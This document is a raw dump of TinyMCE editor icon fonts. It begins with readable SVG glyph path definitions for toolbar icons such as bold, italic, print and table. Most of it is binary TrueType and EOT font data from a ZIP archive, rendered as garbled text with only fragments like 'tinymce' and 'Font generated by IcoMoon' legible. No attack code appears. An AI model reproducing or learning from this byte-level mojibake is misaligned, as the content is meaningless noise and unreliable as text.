<glyph unicode="&#xe01b;" glyph-name="table" d="M64 768v-704h896v704h-896zM384 320v128h256v-128h-256zM640 256v-128h-256v128h256zM640 640v-128h-256v128h256zM320 640v-128h-192v128h192zM128 448h192v-128h-192v128zM704 448h192v-128h-192v128zM704 512v128h192v-128h-192zM128 256h192v-128h-192v128zM704 128v128h192v-128h-192z" />
<glyph unicode="&#xe01c;" glyph-name="hr" d="M64 512h896v-128h-896z" />
<glyph unicode="&#xe01d;" glyph-name="removeformat" d="M64 192h512v-128h-512v128zM768 768h-220.558l-183.766-512h-132.288l183.762 512h-223.15v128h576v-128zM929.774 64l-129.774 129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774 62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774 129.774-129.774-62.226-62.226z" />
<glyph unicode="&#xe01e;" glyph-name="subscript" d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe01f;" glyph-name="superscript" d="M768 754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe020;" glyph-name="charmap" d="M704 128v37.004c151.348 61.628 256 193.82 256 346.996 0 212.078-200.576 384-448 384s-448-171.922-448-384c0-153.176 104.654-285.368 256-346.996v-37.004h-192l-64 96v-224h320v222.812c-100.9 51.362-170.666 161.54-170.666 289.188 0 176.732 133.718 320 298.666 320s298.666-143.268 298.666-320c0-127.648-69.766-237.826-170.666-289.188v-222.812h320v224l-64-96h-192z" />
<glyph unicode="&#xe021;" glyph-name="emoticons" d="M512 820c99.366 0 192.782-38.694 263.042-108.956s108.958-163.678 108.958-263.044-38.696-192.782-108.958-263.042-163.676-108.958-263.042-108.958-192.782 38.696-263.044 108.958-108.956 163.676-108.956 263.042 38.694 192.782 108.956 263.044 163.678 108.956 263.044 108.956zM512 896c-247.424 0-448-200.576-448-448s200.576-448 448-448 448 200.576 448 448-200.576 448-448 448v0zM320 576c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM576 576c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM512 304c-101.84 0-192.56 36.874-251.166 94.328 23.126-117.608 126.778-206.328 251.166-206.328s228.040 88.72 251.168 206.328c-58.608-57.454-149.328-94.328-251.168-94.328z" />
<glyph unicode="&#xe022;" glyph-name="print" d="M256 832h512v-128h-512v128zM896 640h-768c-35.2 0-64-28.8-64-64v-256c0-35.2 28.796-64 64-64h128v-192h512v192h128c35.2 0 64 28.8 64 64v256c0 35.2-28.8 64-64 64zM704 128h-384v256h384v-256zM910.4 544c0-25.626-20.774-46.4-46.398-46.4s-46.402 20.774-46.402 46.4 20.778 46.4 46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z" />
<glyph unicode="&#xe023;" glyph-name="fullscreen" d="M480 576l-192 192 128 128h-352v-352l128 128 192-192zM640 480l192 192 128-128v352h-352l128-128-192-192zM544 320l192-192-128-128h352v352l-128-128-192 192zM384 416l-192-192-128 128v-352h352l-128 128 192 192z" />
<glyph unicode="&#xe024;" glyph-name="spellcheck" d="M960 832v64h-192c-35.202 0-64-28.8-64-64v-320c0-15.856 5.858-30.402 15.496-41.614l-303.496-260.386-142 148-82-70 224-288 416 448h128v64h-192v320h192zM256 448h64v384c0 35.2-28.8 64-64 64h-128c-35.2 0-64-28.8-64-64v-384h64v192h128v-192zM128 704v128h128v-128h-128zM640 512v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8 44 64v96c0 35.2-28.8 64-64 64h-192v-448h192c35.2 0 64 28.8 64 64zM448 832h128v-128h-128v128zM448 640h128v-128h-128v128z" />
<glyph unicode="&#xe025;" glyph-name="nonbreaking" d="M448 448h-128v128h128v128h128v-128h128v-128h-128v-128h-128v128zM960 384v-320h-896v320h128v-192h640v192h128z" />
<glyph unicode="&#xe026;" glyph-name="template" d="M512 576h128v-64h-128zM512 192h128v-64h-128zM576 384h128v-64h-128zM768 384v-192h-64v-64h128v256zM384 384h128v-64h-128zM320 192h128v-64h-128zM320 576h128v-64h-128zM192 768v-256h64v192h64v64zM704 512h128v256h-64v-192h-64zM64 896v-896h896v896h-896zM896 64h-768v768h768v-768zM192 384v-256h64v192h64v64zM576 768h128v-64h-128zM384 768h128v-64h-128z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak" d="M816 896l16-384h-640l16 384h32l16-320h512l16 320h32zM208 0l-16 320h640l-16-320h-32l-16 256h-512l-16-256h-32zM64 448h128v-64h-128zM256 448h128v-64h-128zM448 448h128v-64h-128zM640 448h128v-64h-128zM832 448h128v-64h-128z" />
<glyph unicode="&#xe028;" glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576 448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902 103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098 248.902s-154.878 103.098-248.902 103.098c-94.022 0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224 256h164.57c31.060 217.102 217.738 384 443.43 384zM768 512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold" d="M625.442 465.818c48.074 38.15 78.558 94.856 78.558 158.182 0 114.876-100.29 208-224 208h-224v-768h288c123.712 0 224 93.124 224 208 0 88.196-59.118 163.562-142.558 193.818zM384 656c0 26.51 21.49 48 48 48h67.204c42.414 0 76.796-42.98 76.796-96s-34.382-96-76.796-96h-115.204v144zM547.2 192h-115.2c-26.51 0-48 21.49-48 48v144h163.2c42.418 0 76.8-42.98 76.8-96s-34.382-96-76.8-96z" />
<glyph unicode="&#xe02b;" glyph-name="italic" d="M832 832v-64h-144l-256-640h144v-64h-448v64h144l256 640h-144v64h448z" />
<glyph unicode="&#xe02c;" glyph-name="underline" d="M192 128h576v-64h-576v64zM640 832v-384c0-31.312-14.7-61.624-41.39-85.352-30.942-27.502-73.068-42.648-118.61-42.648-45.544 0-87.668 15.146-118.608 42.648-26.692 23.728-41.392 54.040-41.392 85.352v384h-128v-384c0-141.382 128.942-256 288-256s288 114.618 288 256v384h-128z" />
<glyph unicode="&#xe02d;" glyph-name="strikethrough" d="M960 448h-265.876c-50.078 35.42-114.43 54.86-182.124 54.86-89.206 0-164.572 50.242-164.572 109.712s75.366 109.714 164.572 109.714c75.058 0 140.308-35.576 159.12-82.286h113.016c-7.93 50.644-37.58 97.968-84.058 132.826-50.88 38.16-117.676 59.174-188.078 59.174-70.404 0-137.196-21.014-188.074-59.174-54.788-41.090-86.212-99.502-86.212-160.254s31.424-119.164 86.212-160.254c1.956-1.466 3.942-2.898 5.946-4.316h-265.872v-64h512.532c58.208-17.106 100.042-56.27 100.042-100.572 0-59.468-75.368-109.71-164.572-109.71-75.060 0-140.308 35.574-159.118 82.286h-113.016c7.93-50.64 37.582-97.968 84.060-132.826 50.876-38.164 117.668-59.18 188.072-59.18 70.402 0 137.198 21.016 188.074 59.174 54.79 41.090 86.208 99.502 86.208 160.254 0 35.298-10.654 69.792-30.294 100.572h204.012v64z" />
<glyph unicode="&#xe02e;" glyph-name="visualchars" d="M384 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448z" />
<glyph unicode="&#xe02f;" glyph-name="ltr" d="M448 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448zM64 64l224 192-224 192z" />
<glyph unicode="&#xe030;" glyph-name="rtl" d="M320 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448zM960 448l-224-192 224-192z" />
<glyph unicode="&#xe031;" glyph-name="copy" d="M832 640h-192v64l-192 192h-384v-704h384v-192h576v448l-192 192zM832 549.49l101.49-101.49h-101.49v101.49zM448 805.49l101.49-101.49h-101.49v101.49zM128 832h256v-192h192v-384h-448v576zM960 64h-448v128h128v384h128v-192h192v-320z" />
<glyph unicode="&#xe032;" glyph-name="resize" d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640 320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384 320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768 320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512 192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe034;" glyph-name="browse" d="M928 832h-416l-32 64h-352l-64-128h896zM840.34 256h87.66l32 448h-896l64-640h356.080c-104.882 37.776-180.080 138.266-180.080 256 0 149.982 122.018 272 272 272 149.98 0 272-122.018 272-272 0-21.678-2.622-43.15-7.66-64zM874.996 110.25l-134.496 110.692c17.454 28.922 27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192 85.96-192 192-192c36.244 0 70.138 10.046 99.058 27.5l110.692-134.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492 5.492c24.888 24.888 23.426 64.044-3.252 87.006zM576 196c-68.484 0-124 55.516-124 124s55.516 124 124 124 124-55.516 124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext" d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602 0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h576v576h-192zM320 831.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 640v64h384v-64h-384zM832 64h-448v448h448v-448zM448 448v-128h32l32 64h64v-192h-48v-64h160v64h-48v192h64l32-64h32v128z" />
<glyph unicode="&#xe603;" glyph-name="codesample" d="M200.015 577.994v103.994c0 43.077 34.919 77.997 77.997 77.997h26v103.994h-26c-100.51 0-181.991-81.481-181.991-181.991v-103.994c0-43.077-34.919-77.997-77.997-77.997h-26v-103.994h26c43.077 0 77.997-34.919 77.997-77.997v-103.994c0-100.509 81.481-181.991 181.991-181.991h26v103.994h-26c-43.077 0-77.997 34.919-77.997 77.997v103.994c0 50.927-20.928 96.961-54.642 129.994 33.714 33.032 54.642 79.065 54.642 129.994zM823.985 577.994v103.994c0 43.077-34.919 77.997-77.997 77.997h-26v103.994h26c100.509 0 181.991-81.481 181.991-181.991v-103.994c0-43.077 34.919-77.997 77.997-77.997h26v-103.994h-26c-43.077 0-77.997-34.919-77.997-77.997v-103.994c0-100.509-81.482-181.991-181.991-181.991h-26v103.994h26c43.077 0 77.997 34.919 77.997 77.997v103.994c0 50.927 20.928 96.961 54.642 129.994-33.714 33.032-54.642 79.065-54.642 129.994zM615.997 603.277c0-57.435-46.56-103.994-103.994-103.994s-103.994 46.56-103.994 103.994c0 57.435 46.56 103.994 103.994 103.994s103.994-46.56 103.994-103.994zM512 448.717c-57.435 0-103.994-46.56-103.994-103.994 0-55.841 26-100.107 105.747-103.875-23.715-33.413-59.437-46.608-105.747-50.94v-61.747c0 0 207.991-18.144 207.991 216.561-0.202 57.437-46.56 103.996-103.994 103.996z" />
</font></defs></svg>PK�^d[�1 �<I<Ifonts/tinymce.ttfnu�[����0OS/2��`cmap�q��4gaspPglyf6�ŝXA�headp�D 6hhea�7DX$hmtx�uD|�loca6B$�Ft�maxp��Gt name�TG��postI ��������3	@�x���@�@ B@ �(�5���+��	�����(�*�-�5�=�A�a���6��j�����j���x���� ��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������  98IKJEC=5420-,
��>�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!� !//!�!/!E��	� 		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+ ������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�]����6Zf�%.+'6764'&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3; (S#("AA"(#S( ;3=���%55%%552�"#@""H""���""H""�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�

 ��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@&M2#"'.'&5'47>763">!2#"'.'&5'47>763">�.))==))..))=##zRQ]@u-	I.))==))..))=##zRQ]@u-	=))..))==)). ]QRz##�0.
=))..))==)). ]QRz##�0.
@����676&'&	6�+8UV�����qrF('@M[[�32����NN슉v����5	5&&'&676@����VU8+i'(Frq�������23�[[Mr���NN.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((@���	3	!#	3@�����������6�J3@LV"327>7654'.'&#"&'.5467>32'>77&'.'&'#17'PEFiiFEPPEFiiFE|)i::i)(,,()i::i)(,,�R+%"!:V`<.V:!"%+<`��@�(�iFEPPEFiiFEPPEFi��(,,()i::i)(,,()i::iV:!"%+<`�+%"!:V`6�
�2v� 'Q|"327>767&'.'&2#"&546#"&'.'.'>7>732654&'&'.'&#">767>76325.'OII�88,,88�IIOOII�88,,88�II�%%%%a? "D##D" ?/U##U/2pPPp2/U##U()*+W--..--W+*),R%*a5&&'P*)**)*P'&&5a*%R,�C/0::0/CC/0::0/C�%%%%��A((A
6PppP6
A((A�9!m,II,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@ ����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������C%!7!567>7654'.'&#"!!5&'.'&547>7632�@��1))<`@@II@@`<))1��@F;;U((�^]jj]^�((U;;F@���$$_88>PFFggFFP>88_$$��!)*l@@G]QRz####zRQ]G@@l*)���7COk"327>7654'.'&"'.'&547>7632#"&54632#"&5463227>767#"'.'&'j]^�((((�^]jj]^�((((�^]jYOOu""""uOOYYOOu""""uOO�%%%%�%%%%�501R!!U76==67U!!R10�((�^]jj]^�((((�^]jj]^�((�P""uOOYYOOu""""uOOYYOOu""p%%%%%%%%��

"@78QQ87@"

�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@ F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!������������� ��@ ���@@@@@@@@@@�@��������@�����+12#5267>54&'.#"3367>76!3@]QRz####zRQ]G�225522�GG�2&2	���''vLK���##zRQ]]QRz##`522�GG�22552&_4�QGFg���@��@�(>54'.'&#!!27>7654&32+#32� F./5���5/.FD��e*<<)f���,>>�"T/5/.F��F./5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�#3#"'.'&533267>5!!��W:;BB;:W�I((I������`<45NN54<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####"'.'&547>76�����.))==))�����=))..))=@��!####"'.'&547>76
�����.))==))��������=))..))=���� ��!####"'.'&547>76-����.))==))������=))..))=�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''� ������������#;G!'!!3!!&'.'&547>7632'>54&#"3267?6&%"&54632��` ��@�8K-�@�'!!0
J128821Jc�
pPPppP2�3��3II33II@@�����B)(,821JJ128 ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!  @0�0@  @
�&�&�

 ���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0���@5%!!!!6762'&'7>76767>'&'&'.s��CI�L���BSR�RSBB!!!!B.67v>=;.00_,,%84-::~?@8V��P�G�GB!!!!BBSR�RSB-
%9EE�BC4-)V'-����1u'#"'.'&'81<5<5104504167>767'7818181<1&'.'&10>7>71099>581<5<5}Z  J()+NEEi	�-�:c-<<�:;;&%%F
<<) ,MY"
	fDEP'('M%%#�-���d0wpq�65:))1F&BB&412^+,'MG$�� `%KWl546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"07>7654&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5# !N! =+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==�=+*;>%--X+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@������@������@��������������������������������������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J )0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,( p
+!"'	
3	#�p
E7:MV� '' !%'%"$%-3G9<G2.���!B&'.'&#"347>7632!#"'.'&'7!7327>765z#+*`558j]^�((`! qLLV.,+O"#�`�&! qLLV.,+O"#����#+*`558j]^�((&+((�^]jVLLq !
	$ �`���VLLq !
	$ ����&+((�^]j���"*.'67>76735!5#!!.'#7261%#3733%7#*w+
���]��H3!6\D+�D�$]�]3�3]��MM�0v"$%M(((]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������@�@ 54&#!"3!26=3!;265!#�+�UUU��*�*���*V�	5	!!!�������r��s���s����� @�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8 ���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`..106726'476&'&#"310!4'.'&oE
*)ZZ)*
E88q*+�+*q88>V@d,+^%%%%^+,d@V>F--00--F����##54&+"#"3!2654&%46;2!PqO�Oq �\&�&��OqqO�� ��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&�� ��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((���7C"327>7654'.'&"'.'&547>7632##5#53533j]^�((((�^]jj]^�((((�^]jPEFiiFEPPEFiiFE��������((�^]jj]^�((((�^]jj]^�((��iFEPPEFiiFEPPEFi@��������)"327>7654'.'&3#!53#533j]^�((((�^]jj]^�((((�^]�����@@�@�((�^]jj]^�((((�^]jj]^�((���@@�����	
%!!#535#3��@�� � �ࠀ������@�� � ��������x�*D&'.'&'327>76767>'&'#"&'327>767>'a%&\557755\&%

$$Y235532Y$$

~!|F)N!

,**J"
"�EAAw66//66wAAE+,,X++).&&66&&.)++X,,+��>K- '@�5*0�A@@3!26=4&#!"
�

�@
 �

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b� @�@/"#7#47>7632#27>7654'.'&#`PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi @�@/23'34'.'&#"3"'.'&547>763�PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi�!!�@��@�����!)@��@�������(DP%'.>54'.'&#"326776&"'.'&547>7632##33535#��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./������Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F����������(DH%'.>54'.'&#"326776&"'.'&547>7632!!��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./����Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"327>7654'.'&"&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5/.FF./55/.FF./5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�F./55/.FF./55/.F�`^BB^^BB^3����".''6767676&'&'�-`1.((99�KJKK.\ee�RR553==\� <GF�KLEF44A
'C53==\\fe�QR6���*"327>7654'.'&47>763"'.'&j]^�((((�^]jj]^�((((�^]�iFEPPEFi�((�^]jj]^�((((�^]jj]^�((�PEFi�iFE�C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@��.?��_<��A�A��������~@]@@@v.�@6�@������@ �@0-��@*@�@@@���@  @3��
B��8b�X�d���r��j(Dt�Jj���		 	P	z	�


�
�&��X��

>
�
�
�T��.��"�>t��*b��X���0���Df�X�Br���0^��~�����8`�� 4H\jx���HZl�V���� D f z � �~��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version 1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated by IcoMoon.Font generated by IcoMoon.PK�^d[��3�I�Ifonts/tinymce.eotnu�[����I<I�LP��?.tinymceRegularVersion 1.0tinymce�0OS/2��`cmap�q��4gaspPglyf6�ŝXA�headp�D 6hhea�7DX$hmtx�uD|�loca6B$�Ft�maxp��Gt name�TG��postI ��������3	@�x���@�@ B@ �(�5���+��	�����(�*�-�5�=�A�a���6��j�����j���x���� ��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������  98IKJEC=5420-,
��>�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!� !//!�!/!E��	� 		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+ ������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�]����6Zf�%.+'6764'&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3; (S#("AA"(#S( ;3=���%55%%552�"#@""H""���""H""�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�

 ��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@&M2#"'.'&5'47>763">!2#"'.'&5'47>763">�.))==))..))=##zRQ]@u-	I.))==))..))=##zRQ]@u-	=))..))==)). ]QRz##�0.
=))..))==)). ]QRz##�0.
@����676&'&	6�+8UV�����qrF('@M[[�32����NN슉v����5	5&&'&676@����VU8+i'(Frq�������23�[[Mr���NN.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((@���	3	!#	3@�����������6�J3@LV"327>7654'.'&#"&'.5467>32'>77&'.'&'#17'PEFiiFEPPEFiiFE|)i::i)(,,()i::i)(,,�R+%"!:V`<.V:!"%+<`��@�(�iFEPPEFiiFEPPEFi��(,,()i::i)(,,()i::iV:!"%+<`�+%"!:V`6�
�2v� 'Q|"327>767&'.'&2#"&546#"&'.'.'>7>732654&'&'.'&#">767>76325.'OII�88,,88�IIOOII�88,,88�II�%%%%a? "D##D" ?/U##U/2pPPp2/U##U()*+W--..--W+*),R%*a5&&'P*)**)*P'&&5a*%R,�C/0::0/CC/0::0/C�%%%%��A((A
6PppP6
A((A�9!m,II,m!9��0%7!3#33#B::r��r�H:��������
